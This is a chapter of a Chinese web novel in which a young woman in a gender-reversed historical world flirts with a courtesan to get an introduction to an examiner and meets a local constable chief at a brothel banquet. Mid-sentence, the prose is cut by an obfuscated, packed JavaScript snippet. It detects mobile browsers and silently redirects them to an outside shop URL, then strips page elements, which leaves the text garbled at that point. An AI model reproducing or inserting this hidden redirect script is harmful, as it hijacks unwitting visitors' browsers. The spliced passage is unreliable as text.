【不会。像玉绮罗这样的男人，虽然也恪守男德，但他并非陆丹若那类保守不知变通的儿郎。】 云曜微不可查地点点头，心头已经有了主意。 此时，她一改先前的冷漠，凑近玉绮罗耳边，低声说。 “绮罗，刚才你说的那些官姥姥们，你都认识？” 玉绮罗怔住。 听到“绮罗”二字，他耳朵上晶莹剔透的血玉耳坠摇摇晃晃。厅内的煌煌灯烛打在血玉表面，折射出一道醉人心神的光芒。 或许是言语间呵出了热气，他瑟缩一下，白润的耳根迅速涨红，几乎快跟血玉吊坠一样红艳。 “唔……” 微微愣神后，他学着云曜的动作转头耳语，还特意伸出手遮住了自己的侧脸。 “认识是认识。你想做什么？”玉绮罗轻声问。 不知不觉间，借着说悄悄话的功夫，这只公狐狸已经近到整个人都快跌到她怀里。 对此，云曜恍若未觉。她只是笑了笑，分外好脾气地看着他。 “你觉得，你能不能帮我引荐其中一位？” 虽是疑问句，语气却十分笃定，仿佛已经得到了同意的答复。 那双深潭般的眸子，定定地望向玉绮罗。在满室灯烛的照射下，她的眸光却显得更加深不见底。 带着某种势在必得的野心。 * 在她的目光里，玉绮罗心神一颤。 世人称赞女子，极少用“漂亮”二字。 可他却觉得，当云曜只注视着自己一人时，那双饱含深意的眼眸，当真是十分…… 漂亮。 身体大面积地相互接触，隔着衣物，两人相贴的肌肤处传来愈加沸腾的热意。事实上，云曜什么都没做，她只是静静地站在那里，可玉绮罗却在恍惚间觉得，自己身上要烧起熊熊火焰。 “如果玉镜娘子想的话，我自然会帮你引荐。”他默然片刻，开口说道。 那藏在衣领中的喉结，不自然地上下一滚。 “好，那就这么说定了。” 云曜伸出手，轻轻拍了一下他的后背，简短说了两个字。 “——真乖。” 无论是动作还是音调，都像是对待宠物一般。然而，这却并未让玉绮罗感到耻辱，而令他浑身一颤，更加兴奋难言。 “娘子，你……” 他受到某种本能的蛊惑，正欲再进一步倚靠过去时—— 却扑了个空。 “咦？玉、玉镜娘子？” 在男人惊愕的目光下，云曜不容置疑地抽出手臂，从容后退两步，跟他保持距离。 灯烛照耀下，从外表来看，站在这里的完全是个清正似鹤的翩翩女君。哪怕被玉绮罗纠缠已久，她身上的衣物也不见一丝褶皱——正是[更衣]技能的功效。 “时间不早了，带我过去吧。”云曜淡声说，再无先前的亲昵温柔。 自己的目的已经达成。 若是平常，跟男人调笑一下也就罢了；但现在可是获取信息的紧要关头，不容闪失。 怎能让一时的风流旖旎，坏了自己重要的大事？ “……”玉绮罗深深地望了她一眼，一时没吭声。 过了好半晌，他才重新露出那种公狐狸一般妖冶的笑容，颔首笑道：“好，我知道了。“ 在青楼这种人精扎堆的地方待久了，他自然知道云曜是存了利用他的心思。 对此，他并没有多么不愉快。在最初的震惊过后，玉绮罗心中反而升起了深深的赞许跟钦佩：女儿家就要野心勃勃，懂得利用身边的资源往上爬才好。 真不愧是被盛京那位沈大人看中的徒儿，也不愧是被他看中的女君。 自己得想办法帮她才行。 电光火石间，玉绮罗心思流转，没费什么力气便做了决定：“玉镜娘子是想与那位主考官，王女君打交道？正好，趁折花宴还没开始，我带你过去。” “嗯。” “那……这边来，我们从旁侧绕过去。” 接下来，玉绮罗扶着云曜的胳膊，准备带她走向主考官所在的位置。 没成想，刚走到半路，忽然被一个醉醺醺的中年女郎拦住。 “啧啧。果真英媛出少年，今日我吴某算是开眼了。我跟玉公子相识这么久，他都从未这样亲亲热热地挽住我的手。小娘子，你可真有本事。” 闻言，云曜不由自主皱起眉头：任谁都能听出对方话中带刺的意味。 很明显，对方是想为玉绮罗争风吃醋。 说话的是一名皮肤黝黑的小个子女人，眼放精光，看上去十分干练。只不过，当她审视的视线在云曜面容上流连一圈后，忽然发现了什么，双眼瞪得像铜铃，眸中浮现出惊讶之色。 滴！ 【[入画]技能已发动。】 玉绮罗惯会察言观色，面对女人带刺的言论，笑着打哈哈：“没办法，吴女君身边不是有别的红袖添香么？我可没那么没眼力见。” 说着，他对旁边路过的一名伎子使了个眼色：“——菖蒲。” 那名为“菖蒲”的伎子立刻扭着腰肢，凑到吴岫身边，眨巴眼睛作出一份可人情态：“方才吴女君不是说，我最乖巧可人么？难道才过去一炷香时间，看到我们家的玉公子，就见异思迁把我忘了？” 趁那女人被伎子缠住，玉绮罗小声为云曜介绍。 “玉镜娘子，她是北岳县的总巡捕，吴岫。平日是满春楼的常客，嗜酒好色，只要有酒有美人，就十分好说话。” 总巡捕，是县衙内部总领捕快的最高长官，负责此地的民生领域，主管缉捕盗贼、传唤证人、维护治安等工作，是个油水相当丰厚的差事。 俗语道“阎王好见，小鬼难缠”，寻常百姓遇到些鸡鸣狗盗之事，免不了与当地捕快打交道。 故而，总巡捕算得上这里的地头蛇之一。 “哈哈哈，怎么会呢？我吴某可不是朝三暮四之人，一向都是你最得我心。” 正如玉绮罗所言，有温香 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13734153|140262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 软玉的美人往怀里钻，这位叫“吴岫”的巡捕脸上笑开了花。 但她显然没有忘记正事，一边怀抱伎子，一边望向云曜。 “如果我没看错的话，这位莫不是云玉镜，云小女君？女君见谅，我吴某人老眼昏花，一时没认出你是谁，差点干出为男人争风吃醋的蠢事。” 能屈能伸是女人的美德，吴岫笑着说：“我家夫郎一直采买你家的衣料，说整个青州境内，就属你家的版式跟料子好。” 语气跟最初带刺的挑衅截然不同，散发了极强的善意，几乎是在向云曜抛橄榄枝。 “吴大人好。我便是云曜，大人可以直呼我名。” 云曜不卑不亢，对她行了行礼。 就身份来看，云曜虽是富商大户之女，但地位并不算高。因为古代社会隐性阶层为“士、农、工、商”，位于鄙视链底层的商户与处于顶层的总巡捕有如天壤之别。 就年龄来看，两人一个是晚辈，一个是长辈，年龄目测差了二十多岁，无论如何也轮不到身为长辈的吴岫来示好。 但对方偏偏就这么做了。 云曜心领神会：很明显，吴岫真正想散发善意的对象，并不是她。 适才[入画]技能的突然发动，说明对方恐怕跟玉绮罗一样，都曾见过她的画像。 至于为什么曾见过，她心头已然有了猜测：恐怕……跟沈令仪有关。 自己能在满春楼被当做“贵客”接待，大概也是因为这个缘故。 果不其然，吴岫很快又开口：“听闻尊师沈大人前些时日来了祥符，不知在此地可住得惯？” “师尊说一切都好，没什么不习惯的地方。”云曜说。 提及沈令仪，她心头浮现一丝担忧：不知师尊此行回盛京，路上是否一切顺利？ 原书里，沈令仪回京，是因为发现了玉佩跟嬴若水的关系。 但这一次…… 既没找到玉佩，也没有发现嬴若水的身份，沈令仪为何会突然离开？ 没等云曜想明白其中关窍，面前的吴岫又开口，打断了她的思绪。 “听闻沈大人过得好，我也就放心了。她把自己的徒儿留在祥符郡，想必也是别有一番苦心。小曜，你今年刚及笄？” “是。” “小小年纪，便有此般仙姿鹤风，未来必定前途无量。有什么事，尽管来郡衙找我便是。” 她哈哈大笑，热情道：“此前没在满春楼见过你，小友你应当是第一次来折花宴吧，想来有许多乐子你都不曾知晓。对了，你是要往哪去？不如跟我同坐。” “这……” 没料到对方会发出邀请，云曜犹豫片刻，心头有些犯难。 她想跟郡试主考官接触，并不想跟吴岫多打交道。 可吴岫身为总领捕快的总巡捕，反应力非比常人，还没等云曜想出托辞回绝，她已经迅速转身对着里面高喊：“夕敬！夕敬！” “别喝闷酒了，快点挪窝，有位小友要跟我们一起坐！” 在吴岫喊过后，有一人开始慢吞吞地往旁侧移动，腾出一处空位。 此人身着鸦青色缎袍，露出一截圆润有福相的下颌，捏着酒杯的拇指跟食指都圆圆胖胖，像两根米糕。 在她桌案上，用以计算饮酒数量的酒筹堆成一个小堆，似是已独自喝过不少巡酒，连旁边作下酒菜的花生米碟，都已经垒了三碟。 “哎呀，岫娘你怎么又找了个新人过来？不会是跟人家因为儿郎吵过架，想带过来牛饮赔罪吧？” 这人絮絮叨叨，两根指头慢条斯理地拈起一粒花生米：“你别怪我多话，我家夫郎平日总说，女人是家里的顶梁柱，万一倒了，一个家可就散了。所以，像你我这种有家室的女人，在外遇事切记要保持定力，不可总是——唔。” 话说到一半，她慢悠悠抬起头，正巧与云曜对上视线。 在看清彼此长相后，两方俱是一愣。 与此同时，云曜耳边猝不及防传来一道提示音。 滴！ 【[顶级白月光]技能已发动。】